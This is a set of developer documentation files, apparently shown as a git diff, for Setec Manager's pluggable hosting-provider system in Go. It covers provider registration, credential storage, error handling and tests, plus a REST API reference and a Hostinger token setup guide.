In `cmd/main.go` (or wherever the binary entry point is), add a blank import:
```go
import (
// Register hosting providers
_ "setec-manager/internal/hosting/hostinger"
_ "setec-manager/internal/hosting/myprovider"
)
```
The `hosting.Register()` function stores the provider instance in a global `map[string]Provider` protected by a `sync.RWMutex`:
```go
// From internal/hosting/provider.go
func Register(p Provider) {
registryMu.Lock()
defer registryMu.Unlock()
registry[p.Name()] = p
}
```
After registration, the provider is accessible via `hosting.Get("myprovider")` and appears in `hosting.List()`.
---
## Configuration Storage
When a user configures your provider (via the UI or API), the system:
1. Calls `provider.Configure(map[string]string{"api_key": "..."})` to set credentials in memory.
2. Calls `provider.TestConnection()` to verify the credentials work.
3. Saves a `ProviderConfig` to disk via `ProviderConfigStore.Save()`.
The config file is written to `<config_dir>/<provider_name>.json` with `0600` permissions:
```json
{
"provider": "myprovider",
"api_key": "sk-abc123...",
"api_secret": "",
"extra": {
"base_url": "https://api.myprovider.com/v2"
},
"connected": true
}
```
On startup, `ProviderConfigStore.loadAll()` reads all JSON files from the config directory, and for each one that matches a registered provider, calls `Configure()` to restore credentials.
---
## Error Handling
### The ErrNotSupported Pattern
Define a sentinel error in your provider package:
```go
var ErrNotSupported = errors.New("myprovider: operation not supported")
```
Return this error from any interface method your provider does not implement. The HTTP handler layer checks for this error and returns HTTP 501 (Not Implemented) to the client.
### API Errors
For errors from the upstream provider API, return a descriptive error with context:
```go
return fmt.Errorf("myprovider: list domains: %w", err)
```
### Rate Limiting
If the provider has rate limits, handle them inside your client. See the Hostinger implementation in `internal/hosting/hostinger/client.go` for a reference pattern:
1. Check for HTTP 429 responses.
2. Read the `Retry-After` header.
3. Sleep and retry (up to a maximum number of retries).
4. Return a clear error if retries are exhausted.
```go
if resp.StatusCode == http.StatusTooManyRequests {
retryAfter := parseRetryAfter(resp.Header.Get("Retry-After"))
if attempt < maxRetries {
time.Sleep(retryAfter)
continue
}
return fmt.Errorf("myprovider: rate limited after %d retries", maxRetries)
}
```
---
## Testing
### Unit Tests
Create `internal/hosting/myprovider/provider_test.go`:
```go
package myprovider
import (
"testing"
"setec-manager/internal/hosting"
)
func TestProviderImplementsInterface(t *testing.T) {
var _ hosting.Provider = (*Provider)(nil)
}
func TestName(t *testing.T) {
p := &Provider{}
if p.Name() != "myprovider" {
t.Errorf("expected name 'myprovider', got %q", p.Name())
}
}
func TestConfigure(t *testing.T) {
p := &Provider{}
err := p.Configure(map[string]string{})
if err == nil {
t.Error("expected error when api_key is missing")
}
err = p.Configure(map[string]string{"api_key": "test-key"})
if err != nil {
t.Errorf("unexpected error: %v", err)
}
if p.apiKey != "test-key" {
t.Errorf("expected apiKey 'test-key', got %q", p.apiKey)
}
}
func TestUnsupportedMethodsReturnError(t *testing.T) {
p := &Provider{}
_, err := p.ListVMs()
if err != ErrNotSupported {
t.Errorf("ListVMs: expected ErrNotSupported, got %v", err)
}
_, err = p.GetCatalog()
if err != ErrNotSupported {
t.Errorf("GetCatalog: expected ErrNotSupported, got %v", err)
}
}
```
### Integration Tests
For integration tests against the real API, use build tags to prevent them from running in CI:
```go
//go:build integration
package myprovider
import (
"os"
"testing"
)
func TestListDomainsIntegration(t *testing.T) {
key := os.Getenv("MYPROVIDER_API_KEY")
if key == "" {
t.Skip("MYPROVIDER_API_KEY not set")
}
p := &Provider{}
p.Configure(map[string]string{"api_key": key})
domains, err := p.ListDomains()
if err != nil {
t.Fatalf("ListDomains failed: %v", err)
}
t.Logf("Found %d domains", len(domains))
}
```
Run integration tests:
```bash
go test -tags=integration ./internal/hosting/myprovider/ -v
```
### Registration Test
Verify that importing the package registers the provider:
```go
package myprovider_test
import (
"testing"
"setec-manager/internal/hosting"
_ "setec-manager/internal/hosting/myprovider"
)
func TestRegistration(t *testing.T) {
p, err := hosting.Get("myprovider")
if err != nil {
t.Fatalf("provider not registered: %v", err)
}
if p.DisplayName() == "" {
t.Error("DisplayName is empty")
}
}
```
---
## Example: Skeleton Provider (DNS Only)
This is a complete, minimal provider that implements only DNS management. All other methods return `ErrNotSupported`. You can copy this file and fill in the DNS methods with real API calls.
```go
package dnsonlyprovider
import (
"encoding/json"
"errors"
"fmt"
"io"
"net/http"
"time"
"setec-manager/internal/hosting"
)
var ErrNotSupported = errors.New("dnsonlyprovider: operation not supported")
type Provider struct {
client *http.Client
apiKey string
baseURL string
}
func init() {
hosting.Register(&Provider{
client: &http.Client{Timeout: 30 * time.Second},
baseURL: "https://api.dns-only.example.com/v1",
})
}
func (p *Provider) Name() string { return "dnsonlyprovider" }
func (p *Provider) DisplayName() string { return "DNS-Only Provider" }
func (p *Provider) Configure(config map[string]string) error {
key, ok := config["api_key"]
if !ok || key == "" {
return fmt.Errorf("dnsonlyprovider: api_key is required")
}
p.apiKey = key
return nil
}
func (p *Provider) TestConnection() error {
// Try listing zones as a health check.
req, _ := http.NewRequest("GET", p.baseURL+"/zones", nil)
req.Header.Set("Authorization", "Bearer "+p.apiKey)
resp, err := p.client.Do(req)
if err != nil {
return fmt.Errorf("dnsonlyprovider: connection failed: %w", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
body, _ := io.ReadAll(resp.Body)
return fmt.Errorf("dnsonlyprovider: API returned %d: %s", resp.StatusCode, body)
}
return nil
}
// ── DNS (implemented) ───────────────────────────────────────────────
func (p *Provider) ListDNSRecords(domain string) ([]hosting.DNSRecord, error) {
req, _ := http.NewRequest("GET", fmt.Sprintf("%s/zones/%s/records", p.baseURL, domain), nil)
req.Header.Set("Authorization", "Bearer "+p.apiKey)
resp, err := p.client.Do(req)
if err != nil {
return nil, fmt.Errorf("dnsonlyprovider: list records: %w", err)
}
defer resp.Body.Close()
var records []hosting.DNSRecord
if err := json.NewDecoder(resp.Body).Decode(&records); err != nil {
return nil, fmt.Errorf("dnsonlyprovider: parse records: %w", err)
}
return records, nil
}
func (p *Provider) CreateDNSRecord(domain string, record hosting.DNSRecord) error {
// Implementation: POST to /zones/{domain}/records
return ErrNotSupported // replace with real implementation
}
func (p *Provider) UpdateDNSRecords(domain string, records []hosting.DNSRecord, overwrite bool) error {
// Implementation: PUT to /zones/{domain}/records
return ErrNotSupported // replace with real implementation
}
func (p *Provider) DeleteDNSRecord(domain string, recordName, recordType string) error {
// Implementation: DELETE /zones/{domain}/records?name=...&type=...
return ErrNotSupported // replace with real implementation
}
func (p *Provider) ResetDNSRecords(domain string) error {
return ErrNotSupported
}
// ── Everything else: not supported ──────────────────────────────────
func (p *Provider) ListDomains() ([]hosting.Domain, error) { return nil, ErrNotSupported }
func (p *Provider) GetDomain(domain string) (*hosting.Domain, error) { return nil, ErrNotSupported }
func (p *Provider) CheckDomainAvailability(domains []string) ([]hosting.DomainAvailability, error) { return nil, ErrNotSupported }
func (p *Provider) PurchaseDomain(req hosting.DomainPurchaseRequest) (*hosting.Domain, error) { return nil, ErrNotSupported }
func (p *Provider) SetNameservers(domain string, nameservers []string) error { return ErrNotSupported }
func (p *Provider) EnableDomainLock(domain string) error { return ErrNotSupported }
func (p *Provider) DisableDomainLock(domain string) error { return ErrNotSupported }
func (p *Provider) EnablePrivacyProtection(domain string) error { return ErrNotSupported }
func (p *Provider) DisablePrivacyProtection(domain string) error { return ErrNotSupported }
func (p *Provider) ListVMs() ([]hosting.VM, error) { return nil, ErrNotSupported }
func (p *Provider) GetVM(id string) (*hosting.VM, error) { return nil, ErrNotSupported }
func (p *Provider) CreateVM(req hosting.VMCreateRequest) (*hosting.VM, error) { return nil, ErrNotSupported }
func (p *Provider) ListDataCenters() ([]hosting.DataCenter, error) { return nil, ErrNotSupported }
func (p *Provider) ListSSHKeys() ([]hosting.SSHKey, error) { return nil, ErrNotSupported }
func (p *Provider) AddSSHKey(name, publicKey string) (*hosting.SSHKey, error) { return nil, ErrNotSupported }
func (p *Provider) DeleteSSHKey(id string) error { return ErrNotSupported }
func (p *Provider) ListSubscriptions() ([]hosting.Subscription, error) { return nil, ErrNotSupported }
func (p *Provider) GetCatalog() ([]hosting.CatalogItem, error) { return nil, ErrNotSupported }
```
---
## Example: Full Provider Structure
For a provider that implements all capabilities, organize the code across multiple files:
```
internal/hosting/fullprovider/
provider.go -- init(), Name(), DisplayName(), Configure(), TestConnection()
client.go -- HTTP client with auth, retry, rate-limit handling
dns.go -- ListDNSRecords, CreateDNSRecord, UpdateDNSRecords, DeleteDNSRecord, ResetDNSRecords
domains.go -- ListDomains, GetDomain, CheckDomainAvailability, PurchaseDomain, nameserver/lock/privacy methods
vms.go -- ListVMs, GetVM, CreateVM, ListDataCenters
ssh.go -- ListSSHKeys, AddSSHKey, DeleteSSHKey
billing.go -- ListSubscriptions, GetCatalog
types.go -- Provider-specific API request/response types
```
Each file focuses on a single capability area. The `client.go` file provides a shared `doRequest()` method (similar to the Hostinger client) that handles authentication headers, JSON marshaling, error parsing, and retry logic.
### Key Patterns from the Hostinger Implementation
1. **Separate API types from generic types.** Define provider-specific request/response structs (e.g., `hostingerDNSRecord`) and conversion functions (`toGenericDNSRecord`, `toHostingerDNSRecord`).
2. **Validate before mutating.** The Hostinger DNS implementation calls a `/validate` endpoint before applying updates. If your provider offers similar validation, use it.
3. **Synthesize IDs when the API does not provide them.** Hostinger does not return record IDs in zone listings, so the client synthesizes them from `name/type/priority`.
4. **Handle rate limits transparently.** The client retries on HTTP 429 with exponential back-off, capping at 60 seconds per retry and 3 retries total. This keeps rate-limit handling invisible to the caller.

View File

@ -0,0 +1,859 @@
# Hosting Provider Integration System
## Overview
Setec Manager includes a pluggable hosting provider architecture that lets you manage DNS records, domains, VPS instances, SSH keys, and billing subscriptions through a unified interface. The system is built around a Go `Provider` interface defined in `internal/hosting/provider.go`. Each hosting provider (e.g., Hostinger) implements this interface and auto-registers itself at import time via an `init()` function.
### Architecture
```
internal/hosting/
provider.go -- Provider interface, model types, global registry
store.go -- ProviderConfig type, ProviderConfigStore (disk persistence)
config.go -- Legacy config store (being superseded by store.go)
hostinger/
client.go -- Hostinger HTTP client with retry/rate-limit handling
dns.go -- Hostinger DNS implementation
```
The registry is a process-global `map[string]Provider` guarded by a `sync.RWMutex`. Providers call `hosting.Register(&Provider{})` inside their package `init()` function. The main binary imports the provider package (e.g., `_ "setec-manager/internal/hosting/hostinger"`) to trigger registration.
Provider credentials are stored as individual JSON files in a protected directory (`0700` directory, `0600` files) managed by `ProviderConfigStore`. Each file is named `<provider>.json` and contains the `ProviderConfig` struct:
```json
{
"provider": "hostinger",
"api_key": "Bearer ...",
"api_secret": "",
"extra": {},
"connected": true
}
```
---
## Supported Providers
### Hostinger (Built-in)
| Capability | Supported | Notes |
|---|---|---|
| DNS Management | Yes | Full CRUD, validation before writes, zone reset |
| Domain Management | Yes | List, lookup, availability check, purchase, nameservers, lock, privacy |
| VPS Management | Yes | List, create, get details, data center listing |
| SSH Key Management | Yes | Add, list, delete |
| Billing | Yes | Subscriptions and catalog |
The Hostinger provider communicates with `https://developers.hostinger.com` using a Bearer token. It includes automatic retry with back-off on HTTP 429 (rate limit) responses, up to 3 retries per request.
---
## Configuration
### Via the UI
1. Navigate to the Hosting Providers section in the Setec Manager dashboard.
2. Select "Hostinger" from the provider list.
3. Enter your API token (obtained from hPanel -- see [Hostinger Setup Guide](hostinger-setup.md)).
4. Click "Test Connection" to verify the token is valid.
5. Click "Save" to persist the configuration.
### Via Config Files
Provider configurations are stored as JSON files in the config directory (typically `/opt/setec-manager/data/hosting/`).
Create or edit the file directly:
```bash
mkdir -p /opt/setec-manager/data/hosting
cat > /opt/setec-manager/data/hosting/hostinger.json << 'EOF'
{
"provider": "hostinger",
"api_key": "YOUR_BEARER_TOKEN_HERE",
"api_secret": "",
"extra": {},
"connected": true
}
EOF
chmod 600 /opt/setec-manager/data/hosting/hostinger.json
```
### Via API
```bash
curl -X POST https://your-server:9090/api/hosting/providers/hostinger/configure \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"api_key": "YOUR_HOSTINGER_API_TOKEN"
}'
```
---
## API Reference
All hosting endpoints require authentication via JWT (cookie or `Authorization: Bearer` header). The base URL is `https://your-server:9090`.
### Provider Management
#### List Providers
```
GET /api/hosting/providers
```
Returns all registered hosting providers and their connection status.
```bash
curl -s https://your-server:9090/api/hosting/providers \
-H "Authorization: Bearer $TOKEN"
```
**Response:**
```json
[
{
"name": "hostinger",
"display_name": "Hostinger",
"connected": true
}
]
```
#### Configure Provider
```
POST /api/hosting/providers/{provider}/configure
```
Sets the API credentials for a provider.
```bash
curl -X POST https://your-server:9090/api/hosting/providers/hostinger/configure \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"api_key": "YOUR_API_TOKEN"
}'
```
**Response:**
```json
{
"status": "configured"
}
```
#### Test Connection
```
POST /api/hosting/providers/{provider}/test
```
Verifies that the saved credentials are valid by making a test API call.
```bash
curl -X POST https://your-server:9090/api/hosting/providers/hostinger/test \
-H "Authorization: Bearer $TOKEN"
```
**Response:**
```json
{
"status": "ok",
"message": "Connection successful"
}
```
#### Remove Provider Configuration
```
DELETE /api/hosting/providers/{provider}
```
Deletes saved credentials for a provider.
```bash
curl -X DELETE https://your-server:9090/api/hosting/providers/hostinger \
-H "Authorization: Bearer $TOKEN"
```
**Response:**
```json
{
"status": "deleted"
}
```
---
## DNS Management
### List DNS Records
```
GET /api/hosting/providers/{provider}/dns/{domain}
```
Returns all DNS records for the specified domain.
```bash
curl -s https://your-server:9090/api/hosting/providers/hostinger/dns/example.com \
-H "Authorization: Bearer $TOKEN"
```
**Response:**
```json
[
{
"id": "@/A/0",
"type": "A",
"name": "@",
"content": "93.184.216.34",
"ttl": 14400,
"priority": 0
},
{
"id": "www/CNAME/0",
"type": "CNAME",
"name": "www",
"content": "example.com",
"ttl": 14400,
"priority": 0
},
{
"id": "@/MX/10",
"type": "MX",
"name": "@",
"content": "mail.example.com",
"ttl": 14400,
"priority": 10
}
]
```
### Create DNS Record
```
POST /api/hosting/providers/{provider}/dns/{domain}
```
Adds a new DNS record without overwriting existing records.
```bash
curl -X POST https://your-server:9090/api/hosting/providers/hostinger/dns/example.com \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"type": "A",
"name": "api",
"content": "93.184.216.35",
"ttl": 3600
}'
```
**Response:**
```json
{
"status": "created"
}
```
### Update DNS Records (Batch)
```
PUT /api/hosting/providers/{provider}/dns/{domain}
```
Updates DNS records for a domain. If `overwrite` is `true`, all existing records are replaced; otherwise the records are merged.
The Hostinger provider validates records against the API before applying changes.
```bash
curl -X PUT https://your-server:9090/api/hosting/providers/hostinger/dns/example.com \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"records": [
{
"type": "A",
"name": "@",
"content": "93.184.216.34",
"ttl": 14400
},
{
"type": "CNAME",
"name": "www",
"content": "example.com",
"ttl": 14400
}
],
"overwrite": false
}'
```
**Response:**
```json
{
"status": "updated"
}
```
### Delete DNS Record
```
DELETE /api/hosting/providers/{provider}/dns/{domain}?name={name}&type={type}
```
Removes DNS records matching the given name and type.
```bash
curl -X DELETE "https://your-server:9090/api/hosting/providers/hostinger/dns/example.com?name=api&type=A" \
-H "Authorization: Bearer $TOKEN"
```
**Response:**
```json
{
"status": "deleted"
}
```
### Reset DNS Zone
```
POST /api/hosting/providers/{provider}/dns/{domain}/reset
```
Resets the domain's DNS zone to the provider's default records. This is destructive and removes all custom records.
```bash
curl -X POST https://your-server:9090/api/hosting/providers/hostinger/dns/example.com/reset \
-H "Authorization: Bearer $TOKEN"
```
**Response:**
```json
{
"status": "reset"
}
```
### Supported DNS Record Types
| Type | Description | Priority Field |
|---|---|---|
| A | IPv4 address | No |
| AAAA | IPv6 address | No |
| CNAME | Canonical name / alias | No |
| MX | Mail exchange | Yes |
| TXT | Text record (SPF, DKIM, etc.) | No |
| NS | Name server | No |
| SRV | Service record | Yes |
| CAA | Certificate Authority Authorization | No |
---
## Domain Management
### List Domains
```
GET /api/hosting/providers/{provider}/domains
```
```bash
curl -s https://your-server:9090/api/hosting/providers/hostinger/domains \
-H "Authorization: Bearer $TOKEN"
```
**Response:**
```json
[
{
"name": "example.com",
"registrar": "Hostinger",
"status": "active",
"expires_at": "2027-03-15T00:00:00Z",
"auto_renew": true,
"locked": true,
"privacy_protection": true,
"nameservers": ["ns1.dns-parking.com", "ns2.dns-parking.com"]
}
]
```
### Get Domain Details
```
GET /api/hosting/providers/{provider}/domains/{domain}
```
```bash
curl -s https://your-server:9090/api/hosting/providers/hostinger/domains/example.com \
-H "Authorization: Bearer $TOKEN"
```
**Response:**
```json
{
"name": "example.com",
"registrar": "Hostinger",
"status": "active",
"expires_at": "2027-03-15T00:00:00Z",
"auto_renew": true,
"locked": true,
"privacy_protection": true,
"nameservers": ["ns1.dns-parking.com", "ns2.dns-parking.com"]
}
```
### Check Domain Availability
```
POST /api/hosting/providers/{provider}/domains/check
```
```bash
curl -X POST https://your-server:9090/api/hosting/providers/hostinger/domains/check \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"domains": ["cool-project.com", "cool-project.io", "cool-project.dev"]
}'
```
**Response:**
```json
[
{
"domain": "cool-project.com",
"available": true,
"price": 9.99,
"currency": "USD"
},
{
"domain": "cool-project.io",
"available": false
},
{
"domain": "cool-project.dev",
"available": true,
"price": 14.99,
"currency": "USD"
}
]
```
### Purchase Domain
```
POST /api/hosting/providers/{provider}/domains/purchase
```
```bash
curl -X POST https://your-server:9090/api/hosting/providers/hostinger/domains/purchase \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"domain": "cool-project.com",
"period": 1,
"auto_renew": true,
"privacy_protection": true,
"payment_method_id": "pm_abc123"
}'
```
**Response:**
```json
{
"name": "cool-project.com",
"status": "active",
"expires_at": "2027-03-11T00:00:00Z",
"auto_renew": true,
"locked": false,
"privacy_protection": true,
"nameservers": ["ns1.dns-parking.com", "ns2.dns-parking.com"]
}
```
### Set Nameservers
```
PUT /api/hosting/providers/{provider}/domains/{domain}/nameservers
```
```bash
curl -X PUT https://your-server:9090/api/hosting/providers/hostinger/domains/example.com/nameservers \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"nameservers": ["ns1.cloudflare.com", "ns2.cloudflare.com"]
}'
```
**Response:**
```json
{
"status": "updated"
}
```
### Enable Domain Lock
```
POST /api/hosting/providers/{provider}/domains/{domain}/lock
```
Prevents unauthorized domain transfers.
```bash
curl -X POST https://your-server:9090/api/hosting/providers/hostinger/domains/example.com/lock \
-H "Authorization: Bearer $TOKEN"
```
**Response:**
```json
{
"status": "locked"
}
```
### Disable Domain Lock
```
DELETE /api/hosting/providers/{provider}/domains/{domain}/lock
```
```bash
curl -X DELETE https://your-server:9090/api/hosting/providers/hostinger/domains/example.com/lock \
-H "Authorization: Bearer $TOKEN"
```
**Response:**
```json
{
"status": "unlocked"
}
```
### Enable Privacy Protection
```
POST /api/hosting/providers/{provider}/domains/{domain}/privacy
```
Enables WHOIS privacy protection to hide registrant details.
```bash
curl -X POST https://your-server:9090/api/hosting/providers/hostinger/domains/example.com/privacy \
-H "Authorization: Bearer $TOKEN"
```
**Response:**
```json
{
"status": "enabled"
}
```
### Disable Privacy Protection
```
DELETE /api/hosting/providers/{provider}/domains/{domain}/privacy
```
```bash
curl -X DELETE https://your-server:9090/api/hosting/providers/hostinger/domains/example.com/privacy \
-H "Authorization: Bearer $TOKEN"
```
**Response:**
```json
{
"status": "disabled"
}
```
---
## VPS Management
### List Virtual Machines
```
GET /api/hosting/providers/{provider}/vms
```
```bash
curl -s https://your-server:9090/api/hosting/providers/hostinger/vms \
-H "Authorization: Bearer $TOKEN"
```
**Response:**
```json
[
{
"id": "vm-abc123",
"name": "production-1",
"status": "running",
"plan": "kvm-2",
"region": "us-east-1",
"ipv4": "93.184.216.34",
"ipv6": "2606:2800:220:1:248:1893:25c8:1946",
"os": "Ubuntu 22.04",
"cpus": 2,
"memory_mb": 4096,
"disk_gb": 80,
"bandwidth_gb": 4000,
"created_at": "2025-01-15T10:30:00Z",
"labels": {
"env": "production"
}
}
]
```
### Get VM Details
```
GET /api/hosting/providers/{provider}/vms/{id}
```
```bash
curl -s https://your-server:9090/api/hosting/providers/hostinger/vms/vm-abc123 \
-H "Authorization: Bearer $TOKEN"
```
**Response:** Same shape as a single item from the list response.
### Create VM
```
POST /api/hosting/providers/{provider}/vms
```
```bash
curl -X POST https://your-server:9090/api/hosting/providers/hostinger/vms \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"plan": "kvm-2",
"data_center_id": "us-east-1",
"template": "ubuntu-22.04",
"password": "SecurePassword123!",
"hostname": "web-server-2",
"ssh_key_id": "key-abc123",
"payment_method_id": "pm_abc123"
}'
```
**Response:**
```json
{
"id": "vm-def456",
"name": "web-server-2",
"status": "creating",
"plan": "kvm-2",
"region": "us-east-1",
"os": "Ubuntu 22.04",
"cpus": 2,
"memory_mb": 4096,
"disk_gb": 80,
"bandwidth_gb": 4000,
"created_at": "2026-03-11T14:00:00Z"
}
```
### List Data Centers
```
GET /api/hosting/providers/{provider}/datacenters
```
Returns available regions/data centers for VM creation.
```bash
curl -s https://your-server:9090/api/hosting/providers/hostinger/datacenters \
-H "Authorization: Bearer $TOKEN"
```
**Response:**
```json
[
{
"id": "us-east-1",
"name": "US East",
"location": "New York",
"country": "US"
},
{
"id": "eu-west-1",
"name": "EU West",
"location": "Amsterdam",
"country": "NL"
}
]
```
---
## SSH Key Management
### List SSH Keys
```
GET /api/hosting/providers/{provider}/ssh-keys
```
```bash
curl -s https://your-server:9090/api/hosting/providers/hostinger/ssh-keys \
-H "Authorization: Bearer $TOKEN"
```
**Response:**
```json
[
{
"id": "key-abc123",
"name": "deploy-key",
"fingerprint": "SHA256:abcd1234...",
"public_key": "ssh-ed25519 AAAAC3Nz..."
}
]
```
### Add SSH Key
```
POST /api/hosting/providers/{provider}/ssh-keys
```
```bash
curl -X POST https://your-server:9090/api/hosting/providers/hostinger/ssh-keys \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"name": "new-deploy-key",
"public_key": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... user@host"
}'
```
**Response:**
```json
{
"id": "key-def456",
"name": "new-deploy-key",
"fingerprint": "SHA256:efgh5678...",
"public_key": "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI..."
}
```
### Delete SSH Key
```
DELETE /api/hosting/providers/{provider}/ssh-keys/{id}
```
```bash
curl -X DELETE https://your-server:9090/api/hosting/providers/hostinger/ssh-keys/key-def456 \
-H "Authorization: Bearer $TOKEN"
```
**Response:**
```json
{
"status": "deleted"
}
```
---
## Billing
### List Subscriptions
```
GET /api/hosting/providers/{provider}/subscriptions
```
```bash
curl -s https://your-server:9090/api/hosting/providers/hostinger/subscriptions \
-H "Authorization: Bearer $TOKEN"
```
**Response:**
```json
[
{
"id": "sub-abc123",
"name": "Premium Web Hosting",
"status": "active",
"plan": "premium-hosting-48m",
"price": 2.99,
"currency": "USD",
"renews_at": "2027-03-15T00:00:00Z",
"created_at": "2023-03-15T00:00:00Z"
}
]
```
### Get Product Catalog
```
GET /api/hosting/providers/{provider}/catalog
```
```bash
curl -s https://your-server:9090/api/hosting/providers/hostinger/catalog \
-H "Authorization: Bearer $TOKEN"
```
**Response:**
```json
[
{
"id": "kvm-2",
"name": "KVM 2",
"category": "vps",
"price_cents": 1199,
"currency": "USD",
"period": "monthly",
"description": "2 vCPU, 4 GB RAM, 80 GB SSD"
},
{
"id": "premium-hosting-12m",
"name": "Premium Web Hosting",
"category": "hosting",
"price_cents": 299,
"currency": "USD",
"period": "monthly",
"description": "100 websites, 100 GB SSD, free SSL"
}
]
```
---
## Error Responses
All endpoints return errors in a consistent format:
```json
{
"error": "description of what went wrong"
}
```
| HTTP Status | Meaning |
|---|---|
| 400 | Bad request (invalid parameters) |
| 401 | Authentication required or token invalid |
| 404 | Provider or resource not found |
| 409 | Conflict (e.g., duplicate resource) |
| 429 | Rate limited by the upstream provider |
| 500 | Internal server error |
| 501 | Provider does not support this operation (`ErrNotSupported`) |
When a provider does not implement a particular capability, the endpoint returns HTTP 501 with an `ErrNotSupported` error message. This allows partial implementations where a provider only supports DNS management, for example.

View File

@ -0,0 +1,365 @@
# Hostinger Setup Guide
This guide covers configuring the Hostinger hosting provider integration in Setec Manager.
---
## Getting Your API Token
Hostinger provides API access through bearer tokens generated in the hPanel control panel.
### Step-by-Step
1. **Log in to hPanel.** Go to [https://hpanel.hostinger.com](https://hpanel.hostinger.com) and sign in with your Hostinger account.
2. **Navigate to your profile.** Click your profile icon or name in the top-right corner of the dashboard.
3. **Open Account Settings.** Select "Account Settings" or "Profile" from the dropdown menu.
4. **Go to the API section.** Look for the "API" or "API Tokens" tab. This may be under "Account" > "API" depending on your hPanel version.
5. **Generate a new token.** Click "Create API Token" or "Generate Token."
- Give the token a descriptive name (e.g., `setec-manager`).
- Select the permissions/scopes you need. For full Setec Manager integration, grant:
- DNS management (read/write)
- Domain management (read/write)
- VPS management (read/write)
- Billing (read)
- Set an expiration if desired (recommended: no expiration for server-to-server use, but rotate periodically).
6. **Copy the token.** The token is shown only once. Copy it immediately and store it securely. It will look like a long alphanumeric string.
**Important:** Treat this token like a password. Anyone with the token has API access to your Hostinger account.
---
## Configuring in Setec Manager
### Via the Web UI
1. Log in to your Setec Manager dashboard at `https://your-server:9090`.
2. Navigate to the Hosting Providers section.
3. Click "Hostinger" from the provider list.
4. Paste your API token into the "API Key" field.
5. Click "Test Connection" -- you should see a success message confirming the token is valid.
6. Click "Save Configuration" to persist the credentials.
### Via the API
```bash
# Set your Setec Manager JWT token
export TOKEN="your-setec-manager-jwt"
# Configure the Hostinger provider
curl -X POST https://your-server:9090/api/hosting/providers/hostinger/configure \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{
"api_key": "YOUR_HOSTINGER_BEARER_TOKEN"
}'
# Verify the connection
curl -X POST https://your-server:9090/api/hosting/providers/hostinger/test \
-H "Authorization: Bearer $TOKEN"
```
### Via Config File
Create the config file directly on the server:
```bash
sudo mkdir -p /opt/setec-manager/data/hosting
sudo tee /opt/setec-manager/data/hosting/hostinger.json > /dev/null << 'EOF'
{
"provider": "hostinger",
"api_key": "YOUR_HOSTINGER_BEARER_TOKEN",
"api_secret": "",
"extra": {},
"connected": true
}
EOF
sudo chmod 600 /opt/setec-manager/data/hosting/hostinger.json
```
Restart Setec Manager for the config to be loaded:
```bash
sudo systemctl restart setec-manager
```
---
## Available Features
The Hostinger provider supports all major integration capabilities:
| Feature | Status | Notes |
|---|---|---|
| DNS Record Listing | Supported | Lists all records in a zone |
| DNS Record Creation | Supported | Adds records without overwriting |
| DNS Record Update (Batch) | Supported | Validates before applying; supports overwrite mode |
| DNS Record Deletion | Supported | Filter by name and/or type |
| DNS Zone Reset | Supported | Resets to Hostinger default records |
| Domain Listing | Supported | All domains on the account |
| Domain Details | Supported | Full WHOIS and registration info |
| Domain Availability Check | Supported | Batch check with pricing |
| Domain Purchase | Supported | Requires valid payment method |
| Nameserver Management | Supported | Update authoritative nameservers |
| Domain Lock | Supported | Enable/disable transfer lock |
| Privacy Protection | Supported | Enable/disable WHOIS privacy |
| VPS Listing | Supported | All VPS instances |
| VPS Details | Supported | Full specs, IP, status |
| VPS Creation | Supported | Requires plan, template, data center |
| Data Center Listing | Supported | Available regions for VM creation |
| SSH Key Management | Supported | Add, list, delete public keys |
| Subscription Listing | Supported | Active billing subscriptions |
| Product Catalog | Supported | Available plans and pricing |
---
## Rate Limits
The Hostinger API enforces rate limiting on all endpoints. The Setec Manager integration handles rate limits automatically:
- **Detection:** HTTP 429 (Too Many Requests) responses are detected.
- **Retry-After header:** The client reads the `Retry-After` header to determine how long to wait.
- **Automatic retry:** Up to 3 retries are attempted with the specified back-off.
- **Back-off cap:** Individual retry delays are capped at 60 seconds.
- **Failure:** If all retries are exhausted, the error is returned to the caller.
### Best Practices
- Avoid rapid-fire bulk operations. Space out batch DNS updates.
- Use the batch `UpdateDNSRecords` endpoint with multiple records in one call instead of creating records one at a time.
- Cache domain and VM listings on the client side when possible.
- If you see frequent 429 errors in logs, reduce the frequency of polling operations.
---
## DNS Record Management
### Hostinger API Endpoints Used
| Operation | Hostinger API Path |
|---|---|
| List records | `GET /api/dns/v1/zones/{domain}` |
| Update records | `PUT /api/dns/v1/zones/{domain}` |
| Validate records | `POST /api/dns/v1/zones/{domain}/validate` |
| Delete records | `DELETE /api/dns/v1/zones/{domain}` |
| Reset zone | `POST /api/dns/v1/zones/{domain}/reset` |
### Supported Record Types
| Type | Example Content | Priority | Notes |
|---|---|---|---|
| A | `93.184.216.34` | No | IPv4 address |
| AAAA | `2606:2800:220:1::` | No | IPv6 address |
| CNAME | `example.com` | No | Must be a hostname, not an IP |
| MX | `mail.example.com` | Yes | Priority determines delivery order (lower = higher priority) |
| TXT | `v=spf1 include:...` | No | Used for SPF, DKIM, domain verification |
| NS | `ns1.example.com` | No | Nameserver delegation |
| SRV | `sip.example.com` | Yes | Service location records |
| CAA | `letsencrypt.org` | No | Certificate authority authorization |
### Record ID Synthesis
Hostinger does not return unique record IDs in zone listings. Setec Manager synthesizes an ID from `name/type/priority` for each record. For example, an MX record for the root domain with priority 10 gets the ID `@/MX/10`. This ID is used internally for tracking but should not be passed back to the Hostinger API.
### Validation Before Write
The Hostinger provider validates DNS records before applying changes. When you call `UpdateDNSRecords`, the system:
1. Converts generic `DNSRecord` structs to Hostinger-specific format.
2. Sends the records to the `/validate` endpoint.
3. If validation passes, sends the actual update to the zone endpoint.
